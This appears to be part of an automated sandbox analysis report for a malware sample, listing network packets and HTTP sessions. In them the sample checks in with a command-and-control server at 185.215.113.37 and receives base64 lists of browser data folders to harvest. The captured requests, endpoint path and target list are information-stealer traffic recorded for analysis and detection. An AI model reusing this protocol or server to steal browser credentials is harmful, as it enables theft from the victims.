Oct 8, 2024 11:18:32.055054903 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.055123091 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.103452921 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.108232021 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.334270000 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.334306002 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.334321976 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.334337950 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.334353924 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.334358931 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.334359884 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.334372044 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.334391117 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.334407091 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.334407091 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.334419966 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.334419966 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.334435940 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.334451914 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.334453106 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.334470034 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.334472895 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.334484100 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.334498882 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.334500074 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.334500074 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.334531069 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.334531069 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.334554911 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.334570885 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.334578991 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.334594011 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.334609032 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.334614992 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.334614992 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.334625006 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.334638119 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.334639072 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.334654093 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.334669113 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.334673882 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.334673882 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.334700108 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.334717035 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.334722042 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.334722042 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.334731102 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.334743977 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.334757090 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.334764004 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.334764957 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.334769011 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.334781885 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.334794998 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.334796906 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.334796906 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.334808111 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.334846020 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.334846020 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.334850073 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.334866047 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.334881067 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.334892988 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.334892988 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.334896088 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.334909916 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.334933996 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.334933996 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.334963083 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.334978104 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.334994078 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.335007906 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.335021973 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.335021973 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.335030079 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.335046053 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.335052967 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.335052967 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.335062027 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.335072994 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.335098028 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.335098028 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.335122108 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.335135937 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.335150003 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.335165977 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.335170984 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.335186958 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.335187912 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.335202932 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.335211039 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.335211039 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.335220098 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.335232019 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.335236073 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.335252047 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.335262060 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.335262060 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.335273981 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.335289955 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.335293055 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.335293055 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.335313082 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.335328102 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.335330009 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.335330009 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.335341930 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.335360050 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.335366964 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.335381031 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.335386038 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.335386038 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.335406065 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.335408926 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.335422993 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.335438013 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.335452080 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.335453987 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.335469007 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.335474968 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.335489035 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.335503101 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.335514069 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.335514069 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.335516930 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.335534096 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.335549116 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.335556030 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.335556030 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.335566044 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.335580111 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.335582972 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.335594893 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.335596085 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.335611105 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.335627079 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.335628986 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.335638046 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.335798025 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.883843899 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.883876085 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:32.888775110 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:32.888895035 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:33.618408918 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:33.618474007 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:33.662710905 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:33.667613029 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:33.906697989 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:33.906765938 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:33.906852961 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:33.906863928 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:33.906949997 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:33.909039021 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:33.913820028 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:34.359476089 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:34.359560013 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:34.361795902 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:34.362355947 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:34.374949932 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:34.379764080 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:35.100323915 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:35.100445032 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:35.123080969 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:35.128101110 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:35.360572100 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:35.360605955 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:35.360615969 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:35.360627890 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:35.360637903 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:35.360694885 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:35.360694885 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:35.360737085 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:35.360764980 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:35.360776901 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:35.360790014 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:35.360819101 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:35.360861063 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:35.360862017 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:35.360877991 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:35.360888958 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:35.360944986 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:35.360944986 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:35.362755060 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:35.367710114 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:36.102624893 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:36.103064060 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:40.769707918 CEST	49706	80	192.168.2.5	185.215.113.37

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 11:18:55.079881907 CEST	53	52468	162.159.36.2	192.168.2.5
Oct 8, 2024 11:18:55.588213921 CEST	53	63330	1.1.1.1	192.168.2.5

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49706	185.215.113.37	80	3372	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:18:17.722465992 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 11:18:18.459156036 CEST	203	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 09:18:18 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 11:18:18.462301016 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFCFHJDBKJKEBFHJEHII Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 43 46 48 4a 44 42 4b 4a 4b 45 42 46 48 4a 45 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 35 34 39 45 37 44 46 37 45 34 34 32 34 30 39 36 35 37 32 39 32 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 46 48 4a 44 42 4b 4a 4b 45 42 46 48 4a 45 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 46 48 4a 44 42 4b 4a 4b 45 42 46 48 4a 45 48 49 49 2d 2d 0d 0a Data Ascii: ------CFCFHJDBKJKEBFHJEHIIContent-Disposition: form-data; name="hwid"2549E7DF7E442409657292------CFCFHJDBKJKEBFHJEHIIContent-Disposition: form-data; name="build"doma------CFCFHJDBKJKEBFHJEHII--
Oct 8, 2024 11:18:18.716351032 CEST	407	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 09:18:18 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 6d 49 31 4e 44 46 6d 59 6a 42 6d 5a 44 6b 32 4f 57 46 6a 4d 54 68 6c 4f 54 64 68 5a 57 45 7a 4f 54 56 6a 4e 7a 64 6d 59 7a 4d 77 4d 7a 51 78 4f 54 4a 6b 4e 6d 4e 6a 4f 57 46 6a 4e 7a 64 68 4d 47 4a 68 5a 44 6b 77 4e 6a 42 69 59 6a 55 78 5a 47 45 77 4f 44 49 30 5a 6d 55 30 5a 6d 51 32 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZmI1NDFmYjBmZDk2OWFjMThlOTdhZWEzOTVjNzdmYzMwMzQxOTJkNmNjOWFjNzdhMGJhZDkwNjBiYjUxZGEwODI0ZmU0ZmQ2fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 8, 2024 11:18:18.717431068 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJKECAAAFHJECAAAEBFC Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 35 34 31 66 62 30 66 64 39 36 39 61 63 31 38 65 39 37 61 65 61 33 39 35 63 37 37 66 63 33 30 33 34 31 39 32 64 36 63 63 39 61 63 37 37 61 30 62 61 64 39 30 36 30 62 62 35 31 64 61 30 38 32 34 66 65 34 66 64 36 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 43 2d 2d 0d 0a Data Ascii: ------HJKECAAAFHJECAAAEBFCContent-Disposition: form-data; name="token"fb541fb0fd969ac18e97aea395c77fc3034192d6cc9ac77a0bad9060bb51da0824fe4fd6------HJKECAAAFHJECAAAEBFCContent-Disposition: form-data; name="message"browsers------HJKECAAAFHJECAAAEBFC--
Oct 8, 2024 11:18:18.950808048 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 09:18:18 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 8, 2024 11:18:18.950819969 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 8, 2024 11:18:18.953203917 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JECAFHJEGCFCBFIEGCAE Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 43 41 46 48 4a 45 47 43 46 43 42 46 49 45 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 35 34 31 66 62 30 66 64 39 36 39 61 63 31 38 65 39 37 61 65 61 33 39 35 63 37 37 66 63 33 30 33 34 31 39 32 64 36 63 63 39 61 63 37 37 61 30 62 61 64 39 30 36 30 62 62 35 31 64 61 30 38 32 34 66 65 34 66 64 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 41 46 48 4a 45 47 43 46 43 42 46 49 45 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 41 46 48 4a 45 47 43 46 43 42 46 49 45 47 43 41 45 2d 2d 0d 0a Data Ascii: ------JECAFHJEGCFCBFIEGCAEContent-Disposition: form-data; name="token"fb541fb0fd969ac18e97aea395c77fc3034192d6cc9ac77a0bad9060bb51da0824fe4fd6------JECAFHJEGCFCBFIEGCAEContent-Disposition: form-data; name="message"plugins------JECAFHJEGCFCBFIEGCAE--
